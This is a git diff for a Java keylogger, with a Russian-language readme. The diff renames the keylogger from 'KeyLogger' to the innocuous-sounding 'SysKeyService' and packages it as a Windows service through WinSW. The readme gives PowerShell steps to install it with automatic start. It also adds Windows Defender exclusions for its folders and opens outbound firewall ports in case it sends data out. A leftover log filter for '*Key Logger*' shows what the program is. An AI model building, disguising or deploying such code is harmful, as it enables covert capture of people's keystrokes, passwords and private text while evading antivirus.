diff --git a/app/SysKeyService.xml b/app/SysKeyService.xml
new file mode 100644
index 0000000..03a9185
--- /dev/null
+++ b/app/SysKeyService.xml
@@ -0,0 +1,9 @@
+
+ SysKeyService
+ Sys key Service
+ Sys key Service active applications
+ java
+ -jar "SyskeyService.jar"
+ rotate
+
+
\ No newline at end of file
diff --git a/app/SyskeyService.exe b/app/SyskeyService.exe
new file mode 100644
index 0000000..9eb3759
--- /dev/null
+++ b/app/SyskeyService.exe
Binary files differ
diff --git a/app/SyskeyService.jar b/app/SyskeyService.jar
new file mode 100644
index 0000000..df13ae1
--- /dev/null
+++ b/app/SyskeyService.jar
Binary files differ
diff --git a/app/readme.md b/app/readme.md
new file mode 100644
index 0000000..07f79c9
--- /dev/null
+++ b/app/readme.md
@@ -0,0 +1,155 @@
+1. Установка службы (если ещё не установлена)
+ powershell
+
+# Требует прав администратора
+Set-Location "C:\Program Files\SysKeyService"
+.\SysKeyService.exe install
+
+2. Запуск службы
+ powershell
+
+# Способ 1: Через WinSW
+.\SysKeyService.exe start
+
+# Способ 2: Через PowerShell
+Start-Service -Name "Sys Key Service"
+
+3. Проверка состояния службы
+ powershell
+
+Get-Service -Name "Sys Key Service"
+
+4. Остановка службы
+ powershell
+
+# Через WinSW
+.\SysKeyService.exe stop
+
+# Через PowerShell
+Stop-Service -Name "Sys Key Service"
+
+5. Удаление службы
+ powershell
+
+# Требует остановки службы
+.\SysKeyService.exe uninstall
+
+6. Просмотр логов службы
+ powershell
+
+# Логи WinSW
+Get-Content "C:\Program Files\SysKeyService\SysKeyService.out.log" -Tail 50
+Get-Content "C:\Program Files\SysKeyService\SysKeyService.err.log" -Tail 50
+
+# Логи приложения
+Get-Content "C:\ProgramData\SysKeyService\syskey.txt" -Tail 100
+
+7. Полный скрипт установки и запуска
+ powershell
+
+# Требует прав администратора
+$serviceName = "Sys Key Service"
+$installDir = "C:\Program Files\SysKeyService"
+$jarPath = "$installDir\SysKeyService.jar"
+
+# Создание директории
+New-Item -Path $installDir -ItemType Directory -Force
+
+# Копирование файлов (замените на свои пути)
+Copy-Item -Path ".\SysKeyService.jar" -Destination $jarPath
+Copy-Item -Path ".\SysKeyService.exe" -Destination $installDir
+Copy-Item -Path ".\SysKeyService.xml" -Destination $installDir
+
+# Установка службы
+Set-Location $installDir
+.\SysKeyService.exe install
+
+# Запуск службы
+Start-Service -Name $serviceName
+
+# Проверка статуса
+Get-Service -Name $serviceName
+
+# Автозапуск при загрузке
+Set-Service -Name $serviceName -StartupType Automatic
+
+8. Важные команды для управления службами
+ powershell
+
+# Список всех служб
+Get-Service
+
+# Поиск службы по имени
+Get-Service -Name "*Key*"
+
+# Перезапуск службы
+Restart-Service -Name "Sys Key Service"
+
+# Изменение типа запуска
+Set-Service -Name "Sys Key Service" -StartupType Automatic # Автозапуск
+Set-Service -Name "Sys Key Service" -StartupType Manual # Ручной запуск
+Set-Service -Name "Sys Key Service" -StartupType Disabled # Отключена
+
+9. Устранение неполадок
+
+Если служба не запускается:
+powershell
+
+# Просмотр системных логов
+Get-EventLog -LogName System -Source "Service Control Manager" -After (Get-Date).AddMinutes(-5) |
+Where-Object {$_.Message -like "*Key Logger*"}
+
+# Проверка прав доступа
+icacls "C:\Program Files\SysKeyService"
+icacls "C:\ProgramData\SysKeyService"
+
+# Проверка зависимости от Java
+where.exe java
+java -version
+
+10. Удаление службы (полное)
+ powershell
+
+Stop-Service -Name "Sys Key Service" -Force
+.\SysKeyService.exe uninstall
+Remove-Item -Path "C:\Program Files\SysKeyService" -Recurse -Force
+Remove-Item -Path "C:\ProgramData\SysKeyService" -Recurse -Force
+
+Важные замечания:
+
+ Права доступа: Все команды управления службами требуют запуска PowerShell от имени администратора.
+
+ Политика выполнения:
+ Если возникает ошибка выполнения скриптов:
+ powershell
+
+Set-ExecutionPolicy RemoteSigned -Scope CurrentUser -Force
+
+Безопасность:
+
+ Антивирусы могут блокировать работу службы
+
+ Добавьте исключения для папок:
+ powershell
+
+ Add-MpPreference -ExclusionPath "C:\Program Files\SysKeyService"
+ Add-MpPreference -ExclusionPath "C:\ProgramData\SysKeyService"
+
+Логирование:
+
+ Логи службы: C:\Program Files\SysKeyService\*.log
+
+ Логи приложения: C:\ProgramData\SysKeyService\syskey.txt
+
+ Системные логи: Event Viewer > Windows Logs > System
+
+Сетевая безопасность:
+Если служба отправляет данные по сети, откройте порты:
+powershell
+
+ New-NetFirewallRule -DisplayName "SysKeyService Service" -Direction Outbound -Protocol TCP -RemotePort 80,443 -Action Allow
+
+Для постоянного мониторинга состояния службы можно использовать:
+powershell
+
+Get-Service -Name "Sys Key Service" | Format-List *
\ No newline at end of file
diff --git a/pom.xml b/pom.xml
index c8440a3..8615f0c 100644
--- a/pom.xml
+++ b/pom.xml
@@ -57,7 +57,8 @@
- SysKeyService
+
+ ru.mcs.syskey.SysKeyService
@@ -74,6 +75,19 @@
+
+ org.apache.maven.plugins
+ maven-jar-plugin
+ 3.3.0
+
+
+
+ true
+ ru.mcs.syskey.SysKeyService
+
+
+
+
\ No newline at end of file
diff --git a/src/main/java/ru/mcs/syskey/SysKeyService.java b/src/main/java/ru/mcs/syskey/SysKeyService.java
index 3089000..16c5903 100644
--- a/src/main/java/ru/mcs/syskey/SysKeyService.java
+++ b/src/main/java/ru/mcs/syskey/SysKeyService.java
@@ -21,7 +21,7 @@
public class SysKeyService implements NativeKeyListener {
private static final Logger logger = LoggerFactory.getLogger(SysKeyService.class);
- private static final Path LOG_FILE = Path.of(System.getenv("ProgramData"), "KeyLogger", "keylog.txt");
+ private static final Path LOG_FILE = Path.of(System.getenv("ProgramData"), "SysKeyService", "syskey.log");
private static final User32 USER32 = User32.INSTANCE;
private static final Kernel32 KERNEL32 = Kernel32.INSTANCE;
private static final DateTimeFormatter DTF = DateTimeFormatter.ofPattern("yyyy-MM-dd HH:mm:ss");
@@ -50,7 +50,7 @@
}
private static void runAsService() {
- logger.info("Keylogger service started");
+ logger.info("SysKey service started");
Runtime.getRuntime().addShutdownHook(new Thread(() -> {
try {
GlobalScreen.unregisterNativeHook();
diff --git a/src/main/resources/ru/mcs/syskey/SysKeyService.xml b/src/main/resources/ru/mcs/syskey/SysKeyService.xml
deleted file mode 100644
index 1d5b0a2..0000000
--- a/src/main/resources/ru/mcs/syskey/SysKeyService.xml
+++ /dev/null
@@ -1,9 +0,0 @@
-
- SysKeyService
- Sys key Service
- Sys key Service active applications
- java
- -jar "C:\path\to\your\app.jar"
- rotate
-
-
\ No newline at end of file